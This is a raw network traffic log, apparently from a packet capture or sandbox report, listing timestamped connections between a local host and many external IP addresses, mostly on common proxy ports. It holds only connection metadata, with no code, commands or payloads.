Feb 23, 2024 14:28:22.281511068 CET	49967	8080	192.168.2.8	95.158.174.111
Feb 23, 2024 14:28:22.282685995 CET	49968	80	192.168.2.8	154.113.121.60
Feb 23, 2024 14:28:22.284715891 CET	49969	9002	192.168.2.8	111.16.50.12
Feb 23, 2024 14:28:22.287235975 CET	49970	8888	192.168.2.8	194.150.69.43
Feb 23, 2024 14:28:22.287791967 CET	49971	23306	192.168.2.8	51.38.14.161
Feb 23, 2024 14:28:22.290021896 CET	49972	80	192.168.2.8	62.33.207.202
Feb 23, 2024 14:28:22.290294886 CET	49973	3129	192.168.2.8	85.235.184.186
Feb 23, 2024 14:28:22.291454077 CET	49974	8080	192.168.2.8	200.229.224.221
Feb 23, 2024 14:28:22.292689085 CET	49975	999	192.168.2.8	167.249.29.214
Feb 23, 2024 14:28:22.293930054 CET	19713	49921	72.10.160.90	192.168.2.8
Feb 23, 2024 14:28:22.294133902 CET	49976	8089	192.168.2.8	117.69.237.183
Feb 23, 2024 14:28:22.295223951 CET	46249	49869	167.172.109.12	192.168.2.8
Feb 23, 2024 14:28:22.295697927 CET	49977	3128	192.168.2.8	220.194.189.144
Feb 23, 2024 14:28:22.297346115 CET	49978	8888	192.168.2.8	51.15.242.202
Feb 23, 2024 14:28:22.299344063 CET	49979	4635	192.168.2.8	93.115.25.139
Feb 23, 2024 14:28:22.299674034 CET	49980	3128	192.168.2.8	178.252.170.222
Feb 23, 2024 14:28:22.300303936 CET	4145	49932	174.75.211.222	192.168.2.8
Feb 23, 2024 14:28:22.300364017 CET	49932	4145	192.168.2.8	174.75.211.222
Feb 23, 2024 14:28:22.300885916 CET	49981	8080	192.168.2.8	212.252.66.209
Feb 23, 2024 14:28:22.301661015 CET	49982	3128	192.168.2.8	12.156.45.155
Feb 23, 2024 14:28:22.302809000 CET	49983	80	192.168.2.8	159.8.114.37
Feb 23, 2024 14:28:22.303809881 CET	49984	49153	192.168.2.8	178.18.248.104
Feb 23, 2024 14:28:22.304085970 CET	49748	80	192.168.2.8	104.45.128.122
Feb 23, 2024 14:28:22.305676937 CET	49985	61743	192.168.2.8	109.238.12.156
Feb 23, 2024 14:28:22.307204962 CET	49986	12899	192.168.2.8	72.10.160.170
Feb 23, 2024 14:28:22.308304071 CET	49987	3128	192.168.2.8	18.135.211.182
Feb 23, 2024 14:28:22.310431004 CET	49988	80	192.168.2.8	32.223.6.94
Feb 23, 2024 14:28:22.310762882 CET	3129	49782	116.130.233.22	192.168.2.8
Feb 23, 2024 14:28:22.312158108 CET	49989	443	192.168.2.8	13.41.14.5
Feb 23, 2024 14:28:22.312185049 CET	443	49989	13.41.14.5	192.168.2.8
Feb 23, 2024 14:28:22.312253952 CET	49989	443	192.168.2.8	13.41.14.5
Feb 23, 2024 14:28:22.312529087 CET	49989	443	192.168.2.8	13.41.14.5
Feb 23, 2024 14:28:22.312544107 CET	443	49989	13.41.14.5	192.168.2.8
Feb 23, 2024 14:28:22.312597990 CET	443	49989	13.41.14.5	192.168.2.8
Feb 23, 2024 14:28:22.313519955 CET	80	49880	167.99.131.11	192.168.2.8
Feb 23, 2024 14:28:22.313589096 CET	49880	80	192.168.2.8	167.99.131.11
Feb 23, 2024 14:28:22.313812971 CET	49880	80	192.168.2.8	167.99.131.11
Feb 23, 2024 14:28:22.314524889 CET	49990	5678	192.168.2.8	139.255.86.226
Feb 23, 2024 14:28:22.315879107 CET	49991	5678	192.168.2.8	177.72.82.9
Feb 23, 2024 14:28:22.316673040 CET	49992	3128	192.168.2.8	103.244.163.197
Feb 23, 2024 14:28:22.317001104 CET	8080	49872	177.229.210.50	192.168.2.8
Feb 23, 2024 14:28:22.318839073 CET	5032	49860	45.11.95.165	192.168.2.8
Feb 23, 2024 14:28:22.319001913 CET	49993	32284	192.168.2.8	185.129.250.183
Feb 23, 2024 14:28:22.319046021 CET	49860	5032	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:22.319313049 CET	8080	49863	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:22.319331884 CET	49994	443	192.168.2.8	13.41.14.5
Feb 23, 2024 14:28:22.319366932 CET	443	49994	13.41.14.5	192.168.2.8
Feb 23, 2024 14:28:22.319380045 CET	49863	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:22.319461107 CET	49994	443	192.168.2.8	13.41.14.5
Feb 23, 2024 14:28:22.319550037 CET	49860	5032	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:22.320692062 CET	49863	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:22.321706057 CET	49994	443	192.168.2.8	13.41.14.5
Feb 23, 2024 14:28:22.321722031 CET	443	49994	13.41.14.5	192.168.2.8
Feb 23, 2024 14:28:22.321782112 CET	443	49994	13.41.14.5	192.168.2.8
Feb 23, 2024 14:28:22.323015928 CET	80	49816	104.16.105.146	192.168.2.8
Feb 23, 2024 14:28:22.323055983 CET	49995	60808	192.168.2.8	61.216.156.222
Feb 23, 2024 14:28:22.325092077 CET	49996	34409	192.168.2.8	212.110.188.202
Feb 23, 2024 14:28:22.326896906 CET	49997	4145	192.168.2.8	107.181.161.81
Feb 23, 2024 14:28:22.328160048 CET	4145	49941	174.77.111.196	192.168.2.8
Feb 23, 2024 14:28:22.328191996 CET	49998	999	192.168.2.8	131.100.48.105
Feb 23, 2024 14:28:22.328221083 CET	49941	4145	192.168.2.8	174.77.111.196
Feb 23, 2024 14:28:22.329726934 CET	80	49792	13.229.47.109	192.168.2.8
Feb 23, 2024 14:28:22.329806089 CET	49792	80	192.168.2.8	13.229.47.109
Feb 23, 2024 14:28:22.330158949 CET	49792	80	192.168.2.8	13.229.47.109
Feb 23, 2024 14:28:22.330390930 CET	49999	1080	192.168.2.8	180.210.222.201
Feb 23, 2024 14:28:22.331609964 CET	50000	80	192.168.2.8	45.12.30.231
Feb 23, 2024 14:28:22.332899094 CET	50001	5678	192.168.2.8	190.188.244.84
Feb 23, 2024 14:28:22.333501101 CET	50002	3128	192.168.2.8	154.201.62.43
Feb 23, 2024 14:28:22.334909916 CET	50003	3128	192.168.2.8	62.112.10.26
Feb 23, 2024 14:28:22.336502075 CET	45698	49900	5.183.179.117	192.168.2.8
Feb 23, 2024 14:28:22.337658882 CET	1080	49852	45.185.236.254	192.168.2.8
Feb 23, 2024 14:28:22.337743044 CET	49852	1080	192.168.2.8	45.185.236.254
Feb 23, 2024 14:28:22.337941885 CET	49852	1080	192.168.2.8	45.185.236.254
Feb 23, 2024 14:28:22.338395119 CET	80	49894	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:22.338637114 CET	49894	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:22.338701963 CET	49894	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:22.339071989 CET	80	49947	104.25.58.39	192.168.2.8
Feb 23, 2024 14:28:22.339200020 CET	49947	80	192.168.2.8	104.25.58.39
Feb 23, 2024 14:28:22.339200020 CET	49947	80	192.168.2.8	104.25.58.39
Feb 23, 2024 14:28:22.341352940 CET	80	49895	172.67.187.242	192.168.2.8
Feb 23, 2024 14:28:22.341411114 CET	80	49895	172.67.187.242	192.168.2.8
Feb 23, 2024 14:28:22.341587067 CET	80	49895	172.67.187.242	192.168.2.8
Feb 23, 2024 14:28:22.341653109 CET	49895	80	192.168.2.8	172.67.187.242
Feb 23, 2024 14:28:22.342076063 CET	49895	80	192.168.2.8	172.67.187.242
Feb 23, 2024 14:28:22.346437931 CET	80	49952	104.20.205.191	192.168.2.8
Feb 23, 2024 14:28:22.346502066 CET	80	49901	188.114.99.37	192.168.2.8
Feb 23, 2024 14:28:22.346543074 CET	49952	80	192.168.2.8	104.20.205.191
Feb 23, 2024 14:28:22.346565008 CET	80	49901	188.114.99.37	192.168.2.8
Feb 23, 2024 14:28:22.346851110 CET	49952	80	192.168.2.8	104.20.205.191
Feb 23, 2024 14:28:22.347235918 CET	49901	80	192.168.2.8	188.114.99.37
Feb 23, 2024 14:28:22.347867012 CET	18080	49791	60.188.102.225	192.168.2.8
Feb 23, 2024 14:28:22.347923040 CET	49791	18080	192.168.2.8	60.188.102.225
Feb 23, 2024 14:28:22.348284006 CET	80	49901	188.114.99.37	192.168.2.8
Feb 23, 2024 14:28:22.348325968 CET	49901	80	192.168.2.8	188.114.99.37
Feb 23, 2024 14:28:22.348470926 CET	1080	49885	185.157.47.236	192.168.2.8
Feb 23, 2024 14:28:22.348975897 CET	49791	18080	192.168.2.8	60.188.102.225
Feb 23, 2024 14:28:22.350043058 CET	80	49955	172.67.69.9	192.168.2.8
Feb 23, 2024 14:28:22.350116968 CET	49955	80	192.168.2.8	172.67.69.9
Feb 23, 2024 14:28:22.350208044 CET	49955	80	192.168.2.8	172.67.69.9
Feb 23, 2024 14:28:22.350359917 CET	50004	8080	192.168.2.8	103.55.33.59
Feb 23, 2024 14:28:22.351243973 CET	80	49892	50.204.219.227	192.168.2.8
Feb 23, 2024 14:28:22.352067947 CET	80	49840	104.27.122.6	192.168.2.8
Feb 23, 2024 14:28:22.352504969 CET	50005	80	192.168.2.8	50.239.72.18
Feb 23, 2024 14:28:22.353990078 CET	50006	18636	192.168.2.8	51.79.87.144
Feb 23, 2024 14:28:22.355251074 CET	50007	4153	192.168.2.8	45.233.3.1
Feb 23, 2024 14:28:22.365653992 CET	80	49849	172.67.181.12	192.168.2.8
Feb 23, 2024 14:28:22.366417885 CET	80	49926	50.222.245.46	192.168.2.8
Feb 23, 2024 14:28:22.367666006 CET	50008	3128	192.168.2.8	154.202.114.154
Feb 23, 2024 14:28:22.367878914 CET	50009	5678	192.168.2.8	116.212.144.223
Feb 23, 2024 14:28:22.368659973 CET	50010	17317	192.168.2.8	92.205.105.134
Feb 23, 2024 14:28:22.370521069 CET	50011	43949	192.168.2.8	190.82.105.123
Feb 23, 2024 14:28:22.370806932 CET	7491	49964	67.43.228.253	192.168.2.8
Feb 23, 2024 14:28:22.371591091 CET	50012	1080	192.168.2.8	195.90.216.75
Feb 23, 2024 14:28:22.373661995 CET	4153	49804	103.94.133.93	192.168.2.8
Feb 23, 2024 14:28:22.377618074 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:22.378694057 CET	3080	49802	5.9.98.142	192.168.2.8
Feb 23, 2024 14:28:22.380003929 CET	50013	50806	192.168.2.8	103.5.127.213
Feb 23, 2024 14:28:22.381016970 CET	50014	7890	192.168.2.8	115.171.217.48
Feb 23, 2024 14:28:22.381457090 CET	50015	3128	192.168.2.8	37.120.222.132
Feb 23, 2024 14:28:22.382477045 CET	50016	3128	192.168.2.8	149.102.148.170
Feb 23, 2024 14:28:22.383471012 CET	50017	9445	192.168.2.8	146.190.84.209
Feb 23, 2024 14:28:22.384473085 CET	50018	80	192.168.2.8	103.157.219.4
Feb 23, 2024 14:28:22.385508060 CET	50019	30389	192.168.2.8	91.150.189.122
Feb 23, 2024 14:28:22.386831045 CET	50020	1976	192.168.2.8	88.255.64.91
Feb 23, 2024 14:28:22.387670040 CET	50021	3128	192.168.2.8	150.136.120.240
Feb 23, 2024 14:28:22.388775110 CET	50022	8879	192.168.2.8	91.134.140.160
Feb 23, 2024 14:28:22.389957905 CET	50023	4153	192.168.2.8	46.48.126.226
Feb 23, 2024 14:28:22.390914917 CET	80	49859	62.99.138.162	192.168.2.8
Feb 23, 2024 14:28:22.390928030 CET	50024	80	192.168.2.8	82.64.77.30
Feb 23, 2024 14:28:22.391483068 CET	8089	49800	125.87.86.119	192.168.2.8
Feb 23, 2024 14:28:22.392158985 CET	50025	80	192.168.2.8	50.174.7.153
Feb 23, 2024 14:28:22.392873049 CET	50026	8459	192.168.2.8	72.10.160.171
Feb 23, 2024 14:28:22.396162987 CET	50027	80	192.168.2.8	189.250.135.40
Feb 23, 2024 14:28:22.397250891 CET	50028	8082	192.168.2.8	103.191.196.44
Feb 23, 2024 14:28:22.397907972 CET	49772	80	192.168.2.8	153.92.214.224
Feb 23, 2024 14:28:22.398789883 CET	50029	8080	192.168.2.8	103.216.50.11
Feb 23, 2024 14:28:22.399234056 CET	50030	5678	192.168.2.8	37.52.13.164
Feb 23, 2024 14:28:22.400867939 CET	50031	60083	192.168.2.8	148.66.130.187
Feb 23, 2024 14:28:22.400878906 CET	50032	4153	192.168.2.8	45.7.210.203
Feb 23, 2024 14:28:22.402055025 CET	50033	21525	192.168.2.8	209.126.104.38
Feb 23, 2024 14:28:22.402638912 CET	50034	8080	192.168.2.8	186.103.130.93
Feb 23, 2024 14:28:22.403033972 CET	12899	49986	72.10.160.170	192.168.2.8
Feb 23, 2024 14:28:22.403844118 CET	50035	80	192.168.2.8	172.67.182.77
Feb 23, 2024 14:28:22.404622078 CET	50036	53242	192.168.2.8	162.0.220.222
Feb 23, 2024 14:28:22.405106068 CET	50037	8080	192.168.2.8	45.126.168.178
Feb 23, 2024 14:28:22.406091928 CET	50038	80	192.168.2.8	104.18.254.76
Feb 23, 2024 14:28:22.406425953 CET	3128	49764	134.209.29.120	192.168.2.8
Feb 23, 2024 14:28:22.407200098 CET	50039	55443	192.168.2.8	197.232.65.40
Feb 23, 2024 14:28:22.407917023 CET	50040	8080	192.168.2.8	84.204.40.155
Feb 23, 2024 14:28:22.409423113 CET	50041	15303	192.168.2.8	184.178.172.5
Feb 23, 2024 14:28:22.409991026 CET	50042	80	192.168.2.8	94.198.40.18
Feb 23, 2024 14:28:22.410969973 CET	50043	1080	192.168.2.8	5.252.23.249
Feb 23, 2024 14:28:22.411987066 CET	50044	7777	192.168.2.8	123.30.154.171
Feb 23, 2024 14:28:22.412733078 CET	5678	49831	103.217.249.129	192.168.2.8
Feb 23, 2024 14:28:22.412909985 CET	50045	8080	192.168.2.8	102.68.128.216
Feb 23, 2024 14:28:22.414153099 CET	50046	1080	192.168.2.8	203.19.38.114
Feb 23, 2024 14:28:22.415020943 CET	50047	4145	192.168.2.8	184.181.217.220
Feb 23, 2024 14:28:22.415896893 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:22.415990114 CET	80	49988	32.223.6.94	192.168.2.8
Feb 23, 2024 14:28:22.416424990 CET	80	49917	50.175.212.74	192.168.2.8
Feb 23, 2024 14:28:22.416775942 CET	50049	3128	192.168.2.8	198.176.54.34
Feb 23, 2024 14:28:22.417645931 CET	50050	3131	192.168.2.8	109.24.132.215
Feb 23, 2024 14:28:22.417704105 CET	4153	49889	93.90.212.2	192.168.2.8
Feb 23, 2024 14:28:22.417768955 CET	49889	4153	192.168.2.8	93.90.212.2
Feb 23, 2024 14:28:22.417850018 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:22.417974949 CET	49889	4153	192.168.2.8	93.90.212.2
Feb 23, 2024 14:28:22.418602943 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:22.418834925 CET	50051	11201	192.168.2.8	38.41.0.6
Feb 23, 2024 14:28:22.419236898 CET	80	50000	45.12.30.231	192.168.2.8
Feb 23, 2024 14:28:22.419322014 CET	50000	80	192.168.2.8	45.12.30.231
Feb 23, 2024 14:28:22.419682026 CET	50000	80	192.168.2.8	45.12.30.231
Feb 23, 2024 14:28:22.420180082 CET	50052	49524	192.168.2.8	36.67.27.189
Feb 23, 2024 14:28:22.421084881 CET	50053	4153	192.168.2.8	103.79.96.193
Feb 23, 2024 14:28:22.421808958 CET	50054	3128	192.168.2.8	27.112.78.34
Feb 23, 2024 14:28:22.422796011 CET	50055	8089	192.168.2.8	183.165.248.145
Feb 23, 2024 14:28:22.423748970 CET	999	49957	191.97.19.66	192.168.2.8
Feb 23, 2024 14:28:22.423894882 CET	50056	80	192.168.2.8	78.28.152.113
Feb 23, 2024 14:28:22.425194025 CET	51167	49945	207.180.236.140	192.168.2.8
Feb 23, 2024 14:28:22.425376892 CET	50057	5678	192.168.2.8	159.224.187.170
Feb 23, 2024 14:28:22.425560951 CET	50058	44712	192.168.2.8	92.204.135.4
Feb 23, 2024 14:28:22.426595926 CET	50059	1080	192.168.2.8	188.255.244.9
Feb 23, 2024 14:28:22.427081108 CET	80	49947	104.25.58.39	192.168.2.8
Feb 23, 2024 14:28:22.427174091 CET	80	49947	104.25.58.39	192.168.2.8
Feb 23, 2024 14:28:22.427278042 CET	80	49947	104.25.58.39	192.168.2.8
Feb 23, 2024 14:28:22.427371025 CET	49947	80	192.168.2.8	104.25.58.39
Feb 23, 2024 14:28:22.427670956 CET	49947	80	192.168.2.8	104.25.58.39
Feb 23, 2024 14:28:22.427939892 CET	50060	65149	192.168.2.8	67.213.210.118
Feb 23, 2024 14:28:22.430139065 CET	80	49895	172.67.187.242	192.168.2.8
Feb 23, 2024 14:28:22.431339979 CET	50061	999	192.168.2.8	45.162.135.201
Feb 23, 2024 14:28:22.431391001 CET	50062	80	192.168.2.8	50.173.140.150
Feb 23, 2024 14:28:22.432739019 CET	50063	30026	192.168.2.8	104.238.111.107
Feb 23, 2024 14:28:22.433006048 CET	50064	48678	192.168.2.8	180.131.242.221
Feb 23, 2024 14:28:22.433794022 CET	3128	49868	138.68.60.8	192.168.2.8
Feb 23, 2024 14:28:22.433813095 CET	80	49850	43.231.22.229	192.168.2.8
Feb 23, 2024 14:28:22.434030056 CET	49850	80	192.168.2.8	43.231.22.229
Feb 23, 2024 14:28:22.434226990 CET	50065	80	192.168.2.8	104.16.105.15
Feb 23, 2024 14:28:22.434242964 CET	49850	80	192.168.2.8	43.231.22.229
Feb 23, 2024 14:28:22.434462070 CET	80	49952	104.20.205.191	192.168.2.8
Feb 23, 2024 14:28:22.434562922 CET	3128	49868	138.68.60.8	192.168.2.8
Feb 23, 2024 14:28:22.434597015 CET	80	49952	104.20.205.191	192.168.2.8
Feb 23, 2024 14:28:22.434825897 CET	80	49952	104.20.205.191	192.168.2.8
Feb 23, 2024 14:28:22.434890985 CET	49952	80	192.168.2.8	104.20.205.191
Feb 23, 2024 14:28:22.435005903 CET	49952	80	192.168.2.8	104.20.205.191
Feb 23, 2024 14:28:22.435009003 CET	3128	49868	138.68.60.8	192.168.2.8
Feb 23, 2024 14:28:22.435071945 CET	49868	3128	192.168.2.8	138.68.60.8
Feb 23, 2024 14:28:22.435105085 CET	49868	3128	192.168.2.8	138.68.60.8
Feb 23, 2024 14:28:22.435359955 CET	80	49901	188.114.99.37	192.168.2.8
Feb 23, 2024 14:28:22.437289953 CET	50066	80	192.168.2.8	104.20.75.69
Feb 23, 2024 14:28:22.438241005 CET	80	49955	172.67.69.9	192.168.2.8
Feb 23, 2024 14:28:22.438314915 CET	80	49955	172.67.69.9	192.168.2.8
Feb 23, 2024 14:28:22.438617945 CET	49955	80	192.168.2.8	172.67.69.9
Feb 23, 2024 14:28:22.438627005 CET	80	49955	172.67.69.9	192.168.2.8
Feb 23, 2024 14:28:22.438676119 CET	49955	80	192.168.2.8	172.67.69.9
Feb 23, 2024 14:28:22.438935041 CET	50067	5678	192.168.2.8	154.79.250.48
Feb 23, 2024 14:28:22.439745903 CET	4145	49724	94.40.127.166	192.168.2.8
Feb 23, 2024 14:28:22.439764977 CET	80	49858	210.209.236.26	192.168.2.8
Feb 23, 2024 14:28:22.439872026 CET	49858	80	192.168.2.8	210.209.236.26
Feb 23, 2024 14:28:22.440118074 CET	49858	80	192.168.2.8	210.209.236.26
Feb 23, 2024 14:28:22.441360950 CET	50068	8080	192.168.2.8	213.149.182.98
Feb 23, 2024 14:28:22.441839933 CET	50069	999	192.168.2.8	179.49.162.133
Feb 23, 2024 14:28:22.447251081 CET	8443	49883	101.231.64.89	192.168.2.8
Feb 23, 2024 14:28:22.447339058 CET	49883	8443	192.168.2.8	101.231.64.89
Feb 23, 2024 14:28:22.447510004 CET	49883	8443	192.168.2.8	101.231.64.89
Feb 23, 2024 14:28:22.456748009 CET	8888	49978	51.15.242.202	192.168.2.8
Feb 23, 2024 14:28:22.457176924 CET	49978	8888	192.168.2.8	51.15.242.202
Feb 23, 2024 14:28:22.457380056 CET	49978	8888	192.168.2.8	51.15.242.202
Feb 23, 2024 14:28:22.463197947 CET	50070	23847	192.168.2.8	162.144.32.209
Feb 23, 2024 14:28:22.463570118 CET	50071	8080	192.168.2.8	188.34.164.99
Feb 23, 2024 14:28:22.464270115 CET	3128	49987	18.135.211.182	192.168.2.8
Feb 23, 2024 14:28:22.464364052 CET	49987	3128	192.168.2.8	18.135.211.182
Feb 23, 2024 14:28:22.464688063 CET	49987	3128	192.168.2.8	18.135.211.182
Feb 23, 2024 14:28:22.464770079 CET	50072	3128	192.168.2.8	91.189.177.190
Feb 23, 2024 14:28:22.465985060 CET	50073	3128	192.168.2.8	36.95.102.111
Feb 23, 2024 14:28:22.467506886 CET	50074	5678	192.168.2.8	1.20.95.95
Feb 23, 2024 14:28:22.467808008 CET	50075	2604	192.168.2.8	162.214.67.122
Feb 23, 2024 14:28:22.468725920 CET	50076	8080	192.168.2.8	125.25.40.38
Feb 23, 2024 14:28:22.469866991 CET	50077	23859	192.168.2.8	50.63.12.33
Feb 23, 2024 14:28:22.470877886 CET	50078	80	192.168.2.8	50.173.140.151
Feb 23, 2024 14:28:22.471441984 CET	50079	20695	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:22.473905087 CET	50080	999	192.168.2.8	181.65.169.35
Feb 23, 2024 14:28:22.474046946 CET	50081	38117	192.168.2.8	107.180.101.18
Feb 23, 2024 14:28:22.475892067 CET	3129	49922	20.219.177.85	192.168.2.8
Feb 23, 2024 14:28:22.476031065 CET	49922	3129	192.168.2.8	20.219.177.85
Feb 23, 2024 14:28:22.477931976 CET	49922	3129	192.168.2.8	20.219.177.85
Feb 23, 2024 14:28:22.478848934 CET	50082	5699	192.168.2.8	97.79.238.253
Feb 23, 2024 14:28:22.479432106 CET	5022	49820	45.11.95.165	192.168.2.8
Feb 23, 2024 14:28:22.479860067 CET	50083	3128	192.168.2.8	154.202.117.155
Feb 23, 2024 14:28:22.479984045 CET	50	49734	8.213.129.15	192.168.2.8
Feb 23, 2024 14:28:22.480787039 CET	50084	39180	192.168.2.8	173.212.240.168
Feb 23, 2024 14:28:22.481729984 CET	50085	80	192.168.2.8	172.67.182.150
Feb 23, 2024 14:28:22.482882023 CET	50086	10203	192.168.2.8	92.246.139.113
Feb 23, 2024 14:28:22.483946085 CET	50087	7302	192.168.2.8	60.215.109.34
Feb 23, 2024 14:28:22.484406948 CET	80	49880	167.99.131.11	192.168.2.8
Feb 23, 2024 14:28:22.484736919 CET	80	49880	167.99.131.11	192.168.2.8
Feb 23, 2024 14:28:22.484797001 CET	80	49880	167.99.131.11	192.168.2.8
Feb 23, 2024 14:28:22.484857082 CET	49880	80	192.168.2.8	167.99.131.11
Feb 23, 2024 14:28:22.485398054 CET	50088	15673	192.168.2.8	43.128.155.154
Feb 23, 2024 14:28:22.485485077 CET	49880	80	192.168.2.8	167.99.131.11
Feb 23, 2024 14:28:22.486712933 CET	50089	8080	192.168.2.8	46.209.54.102
Feb 23, 2024 14:28:22.486764908 CET	80	50025	50.174.7.153	192.168.2.8
Feb 23, 2024 14:28:22.487787962 CET	8459	50026	72.10.160.171	192.168.2.8
Feb 23, 2024 14:28:22.488897085 CET	50090	30433	192.168.2.8	159.203.137.249
Feb 23, 2024 14:28:22.489104033 CET	50091	8080	192.168.2.8	36.37.81.135
Feb 23, 2024 14:28:22.490302086 CET	50092	32326	192.168.2.8	139.59.149.137
Feb 23, 2024 14:28:22.490724087 CET	50093	2006	192.168.2.8	173.44.141.179
Feb 23, 2024 14:28:22.491221905 CET	80	50035	172.67.182.77	192.168.2.8
Feb 23, 2024 14:28:22.491348028 CET	50035	80	192.168.2.8	172.67.182.77
Feb 23, 2024 14:28:22.491821051 CET	50094	8080	192.168.2.8	77.46.138.49
Feb 23, 2024 14:28:22.491904974 CET	50035	80	192.168.2.8	172.67.182.77
Feb 23, 2024 14:28:22.492841005 CET	50095	1080	192.168.2.8	37.193.227.108
Feb 23, 2024 14:28:22.493611097 CET	80	50038	104.18.254.76	192.168.2.8
Feb 23, 2024 14:28:22.493679047 CET	50038	80	192.168.2.8	104.18.254.76
Feb 23, 2024 14:28:22.493712902 CET	4635	49979	93.115.25.139	192.168.2.8
Feb 23, 2024 14:28:22.493756056 CET	50038	80	192.168.2.8	104.18.254.76
Feb 23, 2024 14:28:22.494442940 CET	50096	8080	192.168.2.8	70.186.128.126
Feb 23, 2024 14:28:22.494626999 CET	3128	50003	62.112.10.26	192.168.2.8
Feb 23, 2024 14:28:22.494693995 CET	50003	3128	192.168.2.8	62.112.10.26
Feb 23, 2024 14:28:22.495263100 CET	50003	3128	192.168.2.8	62.112.10.26
Feb 23, 2024 14:28:22.495325089 CET	50097	4145	192.168.2.8	58.240.192.158
Feb 23, 2024 14:28:22.496027946 CET	8080	49937	200.108.234.105	192.168.2.8
Feb 23, 2024 14:28:22.496427059 CET	50098	80	192.168.2.8	50.168.163.176
Feb 23, 2024 14:28:22.497226000 CET	15303	50041	184.178.172.5	192.168.2.8
Feb 23, 2024 14:28:22.497272015 CET	4145	49997	107.181.161.81	192.168.2.8
Feb 23, 2024 14:28:22.497270107 CET	50099	1976	192.168.2.8	41.65.236.57
Feb 23, 2024 14:28:22.497279882 CET	50041	15303	192.168.2.8	184.178.172.5
Feb 23, 2024 14:28:22.497397900 CET	49997	4145	192.168.2.8	107.181.161.81
Feb 23, 2024 14:28:22.497611046 CET	49997	4145	192.168.2.8	107.181.161.81
Feb 23, 2024 14:28:22.498291016 CET	50100	80	192.168.2.8	181.120.28.228
Feb 23, 2024 14:28:22.498608112 CET	50101	80	192.168.2.8	172.67.181.32
Feb 23, 2024 14:28:22.499353886 CET	50102	8080	192.168.2.8	136.243.245.231
Feb 23, 2024 14:28:22.499891043 CET	50103	8080	192.168.2.8	45.136.197.139
Feb 23, 2024 14:28:22.500777960 CET	50104	5678	192.168.2.8	178.249.218.34
Feb 23, 2024 14:28:22.500900984 CET	50105	3128	192.168.2.8	176.113.73.99
Feb 23, 2024 14:28:22.501619101 CET	50106	8099	192.168.2.8	85.133.190.4
Feb 23, 2024 14:28:22.501924038 CET	4145	50047	184.181.217.220	192.168.2.8
Feb 23, 2024 14:28:22.501991034 CET	50047	4145	192.168.2.8	184.181.217.220
Feb 23, 2024 14:28:22.502437115 CET	50107	7654	192.168.2.8	124.158.182.34
Feb 23, 2024 14:28:22.502774000 CET	50108	8089	192.168.2.8	114.106.135.102
Feb 23, 2024 14:28:22.503791094 CET	50109	8181	192.168.2.8	45.238.220.1
Feb 23, 2024 14:28:22.504230976 CET	50110	3128	192.168.2.8	143.42.194.37
Feb 23, 2024 14:28:22.505029917 CET	50111	15095	192.168.2.8	162.210.192.136
Feb 23, 2024 14:28:22.505491972 CET	50112	80	192.168.2.8	104.16.226.6
Feb 23, 2024 14:28:22.505913973 CET	50113	4145	192.168.2.8	177.184.67.77
Feb 23, 2024 14:28:22.506840944 CET	50114	8443	192.168.2.8	71.19.249.97
Feb 23, 2024 14:28:22.507069111 CET	50115	55919	192.168.2.8	45.79.191.205
Feb 23, 2024 14:28:22.507322073 CET	80	50000	45.12.30.231	192.168.2.8
Feb 23, 2024 14:28:22.507616997 CET	80	50000	45.12.30.231	192.168.2.8
Feb 23, 2024 14:28:22.507767916 CET	80	50000	45.12.30.231	192.168.2.8
Feb 23, 2024 14:28:22.507860899 CET	50000	80	192.168.2.8	45.12.30.231
Feb 23, 2024 14:28:22.507879972 CET	50116	4145	192.168.2.8	212.42.99.22
Feb 23, 2024 14:28:22.507951975 CET	50000	80	192.168.2.8	45.12.30.231
Feb 23, 2024 14:28:22.508972883 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:22.509025097 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:22.509136915 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:22.510910988 CET	50118	28143	192.168.2.8	67.43.228.253
Feb 23, 2024 14:28:22.511070013 CET	50119	1080	192.168.2.8	103.47.93.25
Feb 23, 2024 14:28:22.511187077 CET	8889	49923	8.213.128.6	192.168.2.8
Feb 23, 2024 14:28:22.511267900 CET	49923	8889	192.168.2.8	8.213.128.6
Feb 23, 2024 14:28:22.511482000 CET	49923	8889	192.168.2.8	8.213.128.6
Feb 23, 2024 14:28:22.511727095 CET	50120	9090	192.168.2.8	189.240.60.166
Feb 23, 2024 14:28:22.512268066 CET	50121	8080	192.168.2.8	183.89.45.167
Feb 23, 2024 14:28:22.512809992 CET	50122	41277	192.168.2.8	154.12.253.232
Feb 23, 2024 14:28:22.513516903 CET	50123	3129	192.168.2.8	5.9.98.142
Feb 23, 2024 14:28:22.514384031 CET	50124	5678	192.168.2.8	41.160.238.106
Feb 23, 2024 14:28:22.514952898 CET	50125	999	192.168.2.8	181.212.41.171
Feb 23, 2024 14:28:22.515011072 CET	80	49947	104.25.58.39	192.168.2.8
Feb 23, 2024 14:28:22.515707016 CET	80	49894	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:22.515762091 CET	49894	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:22.515774012 CET	50126	5678	192.168.2.8	112.78.170.251
Feb 23, 2024 14:28:22.515775919 CET	80	49894	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:22.515953064 CET	49894	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:22.516158104 CET	50127	8111	192.168.2.8	60.199.29.42
Feb 23, 2024 14:28:22.516872883 CET	50128	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:22.516982079 CET	50129	4441	192.168.2.8	161.97.170.209
Feb 23, 2024 14:28:22.517811060 CET	50130	5678	192.168.2.8	109.92.133.194
Feb 23, 2024 14:28:22.518214941 CET	50131	80	192.168.2.8	31.28.4.192
